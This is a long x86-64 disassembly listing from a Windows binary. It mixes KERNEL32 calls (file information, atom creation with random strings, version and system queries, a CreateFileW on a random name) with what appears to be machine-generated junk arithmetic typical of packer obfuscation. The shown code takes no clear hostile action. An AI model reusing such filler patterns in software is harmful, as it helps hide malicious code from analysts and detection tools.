mov dword [rsp + 0xab5c], eax
lea rdx, [rsp + 0x45cb0]
mov rcx, qword [rsp + 0x13940]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0xa9bc], eax
mov eax, dword [rsp + 0xa948]
mov ecx, dword [rsp + 0x8994]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13358]
mov dword [rcx], eax
mov qword [rsp + 0x20], 0
mov r9d, 0x3d41
mov r8d, 0x3a09
mov edx, 0x3a
mov rcx, qword [rsp + 0x134e8]
call qword [sym.imp.KERNEL32.dll_UnlockFileEx]
mov dword [rsp + 0xab60], eax
mov eax, dword [rsp + 0xaaa8]
mov dword [0x140363b84], eax
mov eax, dword [rsp + 0xa398]
mov ecx, dword [rsp + 0x6554]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x6ba8], eax
movsx eax, word [rsp + 0x2a9c]
mov rcx, qword [rsp + 0x139d8]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x2a8c], ax
movsx eax, byte [0x14035e4a7]
movsx ecx, byte [rsp + 0x6b2]
sub eax, ecx
mov byte [rsp + 0x6bd], al
mov rax, qword [rsp + 0x13240]
movzx eax, word [rax]
mov word [rsp + 0x2ad0], ax
mov rax, qword [rsp + 0x138b0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x139b0]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x6c9], al
lea rax, [0x14035cbd8]
mov qword [rsp + 0x13f80], rax
mov rax, qword [rsp + 0x13550]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x6788]
sar eax, cl
mov rcx, qword [rsp + 0x13ac0]
mov dword [rcx], eax
movzx eax, word [rsp + 0x2a14]
movzx ecx, word [rsp + 0x29dc]
xor eax, ecx
mov word [rsp + 0x26a8], ax
movzx eax, byte [0x14035e4a6]
movzx ecx, byte [rsp + 0x20a]
shl eax, cl
mov byte [0x140353583], al
lea rax, [rsp + 0xa944]
mov qword [rsp + 0x13f88], rax
mov rax, qword [rsp + 0x136f0]
mov rcx, qword [rsp + 0x13d80]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x13ec0]
mov dword [rcx], eax
lea rax, [rsp + 0xaa14]
mov qword [rsp + 0x13f90], rax
mov rax, qword [rsp + 0x13248]
mov ecx, dword [rsp + 0x8994]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x13978]
mov dword [rcx], eax
movzx eax, word [rsp + 0x1008]
mov rcx, qword [rsp + 0x13500]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x132f8]
mov word [rcx], ax
movzx eax, byte [rsp + 0x4bc]
mov rcx, qword [rsp + 0x13a30]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x416], al
mov eax, dword [rsp + 0xa8fc]
mov ecx, dword [rsp + 0xa7d8]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0xaa70], eax
lea rax, [rsp + 0x73a0]
mov qword [rsp + 0x13f98], rax
mov rax, qword [rsp + 0x13428]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x12fb8]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [0x140363a48]
mov word [rcx], ax
movsx eax, byte [rsp + 0x6ba]
mov rcx, qword [rsp + 0x135f0]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x6d0], al
lea rax, [rsp + 0x29a4]
mov qword [rsp + 0x13fa0], rax
movzx eax, byte [rsp + 0x6b8]
movzx ecx, byte [rsp + 0x6be]
add eax, ecx
mov rcx, qword [rsp + 0x13cb8]
mov byte [rcx], al
mov rax, qword [rsp + 0x12f90]
mov ecx, dword [0x140363b0c]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x13a38]
mov dword [rcx], eax
mov eax, dword [rsp + 0xa8c4]
mov dword [rsp + 0xab64], eax
mov rax, qword [rsp + 0x13e38]
mov ecx, dword [rsp + 0xa724]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xaa5c], eax
mov eax, dword [rsp + 0xaa4c]
mov dword [rsp + 0xab68], eax
mov eax, dword [rsp + 0x80c8]
mov ecx, dword [0x140363960]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13970]
mov dword [rcx], eax
movzx eax, word [rsp + 0x29dc]
mov rcx, qword [rsp + 0x13758]
movzx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x13778]
mov word [rcx], ax
mov rax, qword [rsp + 0x13ce8]
movzx eax, byte [rax]
mov byte [0x14035e4d7], al
lea rax, [0x14035cbd8]
mov qword [rsp + 0x13fa8], rax
mov rax, qword [rsp + 0x13328]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x133c8]
mov qword [rsp + 0x13fb0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x13fb0]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x7b30], eax
mov eax, dword [rsp + 0xaaa4]
mov ecx, dword [rsp + 0x73a0]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x6824], eax
mov rax, qword [rsp + 0x13b28]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x75f0]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xab20], eax
movzx eax, word [rsp + 0x12b8]
movzx ecx, word [rsp + 0x2a54]
add eax, ecx
mov rcx, qword [rsp + 0x134d8]
mov word [rcx], ax
lea rdx, [rsp + 0x45ce8]
mov rcx, qword [rsp + 0x13d48]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0xaad0], eax
mov rax, qword [rsp + 0x139e0]
movzx eax, byte [rax]
mov byte [rsp + 0x6d3], al
movzx ecx, word [rsp + 0x2acc]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x2ad4], ax
movsx eax, byte [rsp + 0x28f]
movsx ecx, byte [rsp + 0x628]
sub eax, ecx
mov rcx, qword [rsp + 0x13810]
mov byte [rcx], al
movsx eax, word [rsp + 0x2ab4]
movsx ecx, word [rsp + 0x2a74]
and eax, ecx
mov word [rsp + 0x1fe4], ax
mov rax, qword [rsp + 0x13a50]
mov eax, dword [rax]
mov ecx, dword [0x140363ae8]
sub ecx, eax
mov eax, ecx
mov dword [0x14035cc10], eax
mov rax, qword [rsp + 0x13a68]
mov ecx, dword [rsp + 0x7114]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x13380]
mov dword [rcx], eax
movzx eax, word [rsp + 0x29b4]
mov rcx, qword [rsp + 0x13240]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x2ad0], ax
lea rax, [rsp + 0x328]
mov qword [rsp + 0x13fb8], rax
mov rax, qword [rsp + 0x13b20]
mov ecx, dword [rsp + 0x66e0]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xa974], eax
mov rax, qword [rsp + 0x13938]
mov eax, dword [rax]
mov dword [rsp + 0xab6c], eax
mov rax, qword [rsp + 0x13a48]
mov rcx, qword [rsp + 0x13bd8]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x139f0]
mov dword [rcx], eax
lea rax, [rsp + 0xa98c]
mov qword [rsp + 0x13fc0], rax
mov rax, qword [rsp + 0x132b0]
movzx eax, word [rax]
mov rcx, qword [0x140363988]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x13af0]
mov word [rcx], ax
mov rax, qword [rsp + 0x13548]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x13410]
movzx ecx, byte [rcx]
xor eax, ecx
mov rcx, qword [0x140363990]
mov byte [rcx], al
mov eax, dword [rsp + 0x75f0]
mov rcx, qword [rsp + 0x13a88]
mov qword [rsp + 0x13fc8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x13fc8]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0xa8cc], eax
mov eax, dword [rsp + 0x765c]
mov rcx, qword [0x1403639d0]
mov qword [rsp + 0x13fd0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x13fd0]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0x71c8], eax
mov rax, qword [rsp + 0x13f50]
mov ecx, dword [rsp + 0xaa28]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x13bd8]
mov dword [rcx], eax
lea rax, [rsp + 0xaa04]
mov qword [rsp + 0x13fd8], rax
mov rax, qword [rsp + 0x139c8]
mov rcx, qword [rsp + 0x139f8]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x13f08]
mov dword [rcx], eax
movsx eax, byte [rsp + 0x5fd]
mov rcx, qword [rsp + 0x13d28]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x6c8], al
movzx eax, word [rsp + 0x29d8]
mov word [rsp + 0x2ad8], ax
movzx eax, byte [0x140353577]
mov rcx, qword [rsp + 0x13fb8]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x68e], al
lea rax, [rsp + 0x144c]
mov qword [0x140363b90], rax
lea rax, [rsp + 0xa808]
mov qword [rsp + 0x13fe0], rax
mov rax, qword [rsp + 0x12f90]
mov eax, dword [rax]
mov ecx, dword [0x14035cc1c]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13350]
mov dword [rcx], eax
mov rax, qword [rsp + 0x13ba8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x29d0]
and eax, ecx
mov rcx, qword [rsp + 0x13e98]
mov word [rcx], ax
lea rax, [rsp + 0x6b4]
mov qword [rsp + 0x13fe8], rax
mov rax, qword [rsp + 0x136f0]
mov rcx, qword [rsp + 0x132d0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x134a8]
mov dword [rcx], eax
lea rax, [rsp + 0x8994]
mov qword [rsp + 0x13ff0], rax
mov rax, qword [rsp + 0x13c80]
mov rcx, qword [rsp + 0x13df0]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x13d40]
mov dword [rcx], eax
lea rax, [0x140363960]
mov qword [rsp + 0x13ff8], rax
lea rax, [rsp + 0x209c]
mov qword [0x140363b98], rax
mov rax, qword [rsp + 0x13740]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x13ce8]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x13fe8]
mov byte [rcx], al
mov rax, qword [rsp + 0x13620]
mov rcx, qword [0x140363968]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xa948], eax
mov rax, qword [rsp + 0x13498]
mov eax, dword [rax]
mov dword [rsp + 0xab70], eax
mov rax, qword [rsp + 0x135f0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x40c]
sub eax, ecx
mov byte [rsp + 0x28f], al
lea rax, [rsp + 0x1f1c]
mov qword [rsp + 0x14000], rax
movzx eax, byte [rsp + 0x20a]
mov rcx, qword [rsp + 0x13060]
movzx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x328], al
mov rax, qword [rsp + 0x13758]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x13f78]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x17d4], ax
lea rax, [rsp + 0x6768]
mov qword [rsp + 0x14008], rax
mov rax, qword [rsp + 0x13588]
mov ecx, dword [rsp + 0x6ba8]
mov eax, dword [rax]
xor eax, ecx
mov dword [0x140363b44], eax
mov rax, qword [rsp + 0x13628]
mov ecx, dword [rsp + 0x8398]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0xaaa8], eax
mov rax, qword [0x140363b10]
mov ecx, dword [rsp + 0xab0c]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0xa71c], eax
mov rax, qword [rsp + 0x13f28]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa9b4]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xa8c0], eax
movzx eax, word [rsp + 0x2a7c]
mov rcx, qword [0x140363a40]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x135e8]
mov word [rcx], ax
movzx eax, byte [rsp + 0x6b5]
mov byte [rsp + 0x6d4], al
mov rax, qword [rsp + 0x13b18]
mov rcx, qword [rsp + 0x13d38]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xa98c], eax
mov rax, qword [rsp + 0x13f80]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa960]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x9134], eax
mov eax, dword [rsp + 0x96e4]
mov ecx, dword [rsp + 0xa4c4]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x138b8]
mov dword [rcx], eax
lea rcx, [rsp + 0x41ad8]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
mov eax, dword [rsp + 0xa7d8]
mov dword [0x140363ba0], eax
movzx eax, word [0x140362afc]
movzx ecx, word [rsp + 0x21e4]
and eax, ecx
mov rcx, qword [rsp + 0x12fe8]
mov word [rcx], ax
lea rdx, [rsp + 0x14010]
mov rcx, qword [rsp + 0x13f10]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0xa9ac], eax
lea rax, [rsp + 0x6bc]
mov qword [rsp + 0x14018], rax
movsx eax, word [rsp + 0x1868]
mov rcx, qword [rsp + 0x13e80]
movsx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x13a98]
mov word [rcx], ax
mov rax, qword [0x140363a90]
movzx eax, byte [rax]
mov byte [rsp + 0x6d5], al
mov rax, qword [rsp + 0x13668]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x64f0]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xaa0c], eax
mov rax, qword [rsp + 0x13910]
mov eax, dword [rax]
mov dword [rsp + 0xab74], eax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0xa9a8], eax
movzx eax, word [rsp + 0x2a80]
mov rcx, qword [0x140363a30]
movzx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x251c], ax
movzx eax, byte [rsp + 0x6b9]
mov rcx, qword [rsp + 0x13a30]
movzx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x6ca], al
lea rdx, [rsp + 0x13980]
mov rcx, qword [rsp + 0x134e8]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0xaae8], eax
lea rcx, str.WAw6MW_Wp7Pt
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x2adc], ax
mov rax, qword [rsp + 0x132a8]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x13920]
mov qword [rsp + 0x14020], rcx
movzx ecx, al
mov rax, qword [rsp + 0x14020]
mov eax, dword [rax]
shr eax, cl
mov rcx, qword [0x140363978]
mov dword [rcx], eax
mov rax, qword [rsp + 0x13b18]
mov rcx, qword [rsp + 0x13828]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x7a74], eax
mov rax, qword [rsp + 0x13c88]
mov ecx, dword [rsp + 0xab34]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x13f20]
mov dword [rcx], eax
mov eax, dword [rsp + 0xa954]
mov dword [rsp + 0xab78], eax
lea rcx, str.P7oWeW_1sRcRscDM_VeuVIo5
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x2a60], ax
mov rax, qword [rsp + 0x132c8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x13d98]
movzx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x132f0]
mov word [rcx], ax
movzx eax, byte [rsp + 0x6b8]
mov rcx, qword [rsp + 0x13e10]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x13458]
mov byte [rcx], al
mov eax, dword [rsp + 0xaa60]
mov ecx, dword [rsp + 0xab54]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x8a30], eax
mov rax, qword [rsp + 0x13c68]
mov rcx, qword [rsp + 0x133a0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xaa14], eax
mov rax, qword [rsp + 0x14008]
mov eax, dword [rax]
mov dword [rsp + 0xab7c], eax
mov rax, qword [rsp + 0x137e8]
mov eax, dword [rax]
mov ecx, dword [0x140363a70]
add ecx, eax
mov eax, ecx
mov dword [0x14035cbdc], eax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0xa9cc], eax
mov rax, qword [rsp + 0x137a0]
mov rcx, qword [rsp + 0x13e58]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x139a0]
mov dword [rcx], eax
mov r9d, 1
lea r8, [rsp + 0x138f8]
mov rdx, qword [rsp + 0x14028]
mov rcx, qword [rsp + 0x13990]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0xa910], eax
mov rax, qword [rsp + 0x13950]
movsx eax, word [rax]
mov rcx, qword [0x140363a48]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x2a28], ax
lea rax, [rsp + 0x92]
mov qword [rsp + 0x14030], rax
mov rax, qword [rsp + 0x135f8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x13f68]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x13f78]
mov word [rcx], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CancelWaitableTimer]
lea rax, [0x140353573]
mov qword [rsp + 0x14038], rax
mov rax, qword [rsp + 0x13e70]
mov rcx, qword [rsp + 0x13be0]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x13f60]
mov dword [rcx], eax
lea rcx, [rsp + 0x41a48]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
mov rax, qword [rsp + 0x139e8]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x13910]
mov qword [rsp + 0x14040], rcx
movzx ecx, al
mov rax, qword [rsp + 0x14040]
mov eax, dword [rax]
sar eax, cl
mov rcx, qword [rsp + 0x139a0]
mov dword [rcx], eax
lea rax, [0x14035e48e]
mov qword [rsp + 0x14048], rax
mov rax, qword [rsp + 0x137e0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2554]
xor eax, ecx
mov word [0x14035cc28], ax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0xa9cc], eax
mov rax, qword [rsp + 0x13358]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0xa8f8]
shl eax, cl
mov dword [rsp + 0x6b80], eax
mov r9d, 0xf07
xor r8d, r8d
lea rdx, [rsp + 0x13ca8]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0xab80], eax
lea rax, [rsp + 0x80c8]
mov qword [rsp + 0x14050], rax
mov eax, dword [rsp + 0x7b30]
mov ecx, dword [rsp + 0x96e4]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xa998], eax
mov eax, dword [rsp + 0xaadc]
mov dword [rsp + 0xab84], eax
movzx eax, byte [rsp + 0x6b8]
mov rcx, qword [0x1403639c0]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x14038]
mov byte [rcx], al
movzx eax, word [rsp + 0x29a0]
mov rcx, qword [rsp + 0x13948]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x132f8]
mov word [rcx], ax
movzx ecx, word [rsp + 0x2a94]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x2a50], ax
mov eax, dword [rsp + 0xa95c]
mov ecx, dword [rsp + 0xa184]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x80ac], eax
mov rax, qword [rsp + 0x13ce0]
mov rcx, qword [rsp + 0x134a8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xa998], eax
mov rax, qword [rsp + 0x13a70]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x135f0]
movsx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [0x1403639b0]
mov byte [rcx], al
movzx eax, word [0x140362bf4]
mov word [rsp + 0x2ae0], ax
mov rax, qword [rsp + 0x135e8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x135f8]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x13398]
mov word [rcx], ax
mov rax, qword [rsp + 0x13cb8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x13ce8]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x6b4], al
lea rdx, [rsp + 0x45b28]
mov rcx, qword [rsp + 0x13d48]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0xab88], eax
lea rcx, str.PouRew_ALEZBhog.KzioP
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x2a6c], ax
mov rax, qword [0x140363a80]
mov rcx, qword [rsp + 0x13620]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x6e80], eax
mov rax, qword [rsp + 0x13ec8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa71c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xa9dc], eax
mov eax, dword [rsp + 0x86a8]
mov dword [rsp + 0xab8c], eax
mov eax, dword [rsp + 0xa9d4]
mov ecx, dword [rsp + 0xa894]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x9784], eax
mov rax, qword [rsp + 0x136f0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xaa04]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13418]
mov dword [rcx], eax
mov rax, qword [rsp + 0x13208]
movzx eax, word [rax]
mov word [rsp + 0x2ae4], ax
lea rax, [rsp + 0x43d]
mov qword [0x140363ba8], rax
lea rdx, [rsp + 0x45d90]
mov rcx, qword [rsp + 0x13b50]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0xa8a8], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_DecodeSystemPointer]
mov rax, qword [rsp + 0x13770]
mov rcx, qword [rsp + 0x13920]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0xa808], eax
mov rax, qword [rsp + 0x13db8]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x13cb0]
mov qword [rsp + 0x14058], rcx
movzx ecx, al
mov rax, qword [rsp + 0x14058]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0x9c48], eax
mov eax, dword [rsp + 0x9500]
mov rcx, qword [rsp + 0x136d8]
mov qword [rsp + 0x14060], rcx
movzx ecx, al
mov rax, qword [rsp + 0x14060]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0xaa18], eax
lea rax, [rsp + 0x70b8]
mov qword [rsp + 0x14068], rax
movzx eax, word [rsp + 0x29b4]
movzx ecx, word [rsp + 0x298c]
or eax, ecx
mov rcx, qword [rsp + 0x13ba8]
mov word [rcx], ax
movzx eax, byte [rsp + 0x51b]
mov rcx, qword [rsp + 0x13458]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x13720]
mov byte [rcx], al
lea rdx, [rsp + 0x13750]
mov rcx, qword [rsp + 0x13528]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0xa94c], eax
movzx eax, word [rsp + 0x2a2c]
mov word [rsp + 0x2ae8], ax
movsx eax, byte [rsp + 0x305]
movsx ecx, byte [rsp + 0x28f]
and eax, ecx
mov rcx, qword [rsp + 0x13a70]
mov byte [rcx], al
lea rcx, [rsp + 0x41bf8]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
mov rax, qword [rsp + 0x132a8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x8414]
add ecx, eax
mov eax, ecx
mov rcx, qword [0x140363b50]
mov dword [rcx], eax
mov eax, dword [rsp + 0xaa04]
mov ecx, dword [rsp + 0xab1c]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x9048], eax
mov rax, qword [0x140363a50]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x13850]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x138b0]
mov byte [rcx], al
movzx eax, word [rsp + 0x17d4]
movzx ecx, word [rsp + 0x2ad0]
and eax, ecx
mov rcx, qword [rsp + 0x12fa8]
mov word [rcx], ax
mov rax, qword [0x140363b58]
mov eax, dword [rax]
mov dword [rsp + 0xab90], eax
mov rax, qword [rsp + 0x13d18]
mov rcx, qword [rsp + 0x133d8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x13370]
mov dword [rcx], eax
lea rax, [rsp + 0x67e4]
mov qword [rsp + 0x14070], rax
mov rax, qword [0x1403639f8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xaa4c]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13f08]
mov dword [rcx], eax
mov rax, qword [rsp + 0x13fa0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x135f8]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x13f78]
mov word [rcx], ax
lea rax, [rsp + 0x6b1]
mov qword [0x140363bb0], rax
lea rax, [rsp + 0xab7c]
mov qword [rsp + 0x14078], rax
mov rax, qword [rsp + 0x13f08]
mov rcx, qword [rsp + 0x135b0]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0xa99c], eax
lea rdx, [rsp + 0x133a8]
mov rcx, qword [rsp + 0x134b0]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0xaa50], eax
mov rcx, qword [rsp + 0x135e0]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
lea rax, [rsp + 0xa91c]
mov qword [rsp + 0x14080], rax
mov eax, dword [rsp + 0x9688]
movzx ecx, al
mov eax, dword [rsp + 0x6ba8]
shl eax, cl
mov dword [rsp + 0xa3a8], eax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 2
mov dword [rsp + 0x20], 0
xor r9d, r9d
mov r8d, 1
mov edx, 0x40000000
lea rcx, str.f2gOJuSagbOkdj45a
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x14088], rax
mov eax, dword [rsp + 0x7970]
mov rcx, qword [0x1403639d0]
mov qword [rsp + 0x14090], rcx
movzx ecx, al
mov rax, qword [rsp + 0x14090]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0xaa48], eax
mov rax, qword [rsp + 0x13d28]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x13390]
movsx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x9f], al
movzx ecx, word [rsp + 0x2994]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x2ab0], ax
mov rax, qword [rsp + 0x12fb8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1fe4]
and eax, ecx
mov word [rsp + 0x2a78], ax
lea rax, [rsp + 0x256]
mov qword [rsp + 0x14098], rax
lea rax, [rsp + 0x184c]
mov qword [0x140363bb8], rax
mov r9d, 0x1fb7
xor r8d, r8d
lea rdx, [rsp + 0x135e0]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0xab94], eax
mov rax, qword [rsp + 0x13450]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa808]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xaaec], eax
mov eax, dword [rsp + 0xa8f8]
mov dword [rsp + 0xab98], eax
movzx eax, word [rsp + 0x2a54]
mov rcx, qword [rsp + 0x13a90]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x299c], ax
movzx eax, byte [rsp + 0x6b7]
movzx ecx, byte [0x14035e48e]
and eax, ecx
mov rcx, qword [rsp + 0x13ce8]
mov byte [rcx], al
mov rax, qword [rsp + 0x13970]
mov eax, dword [rax]
mov dword [rsp + 0xab9c], eax
mov rax, qword [rsp + 0x13ec8]
mov ecx, dword [rsp + 0xaad4]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x133b0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x136f0]
mov rcx, qword [0x140363a00]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0xa2bc], eax
mov eax, dword [rsp + 0x9c48]
mov ecx, dword [rsp + 0x6fe8]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x133f8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x13698]
movzx eax, byte [rax]
movzx ecx, byte [0x140353573]
sub eax, ecx
mov rcx, qword [0x140363aa8]
mov byte [rcx], al
mov rax, qword [rsp + 0x13050]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x135d0]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x23cc], ax
mov rax, qword [rsp + 0x13be0]
mov eax, dword [rax]
mov dword [rsp + 0xaba0], eax
mov rax, qword [rsp + 0x135b0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x710c]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x135d8]
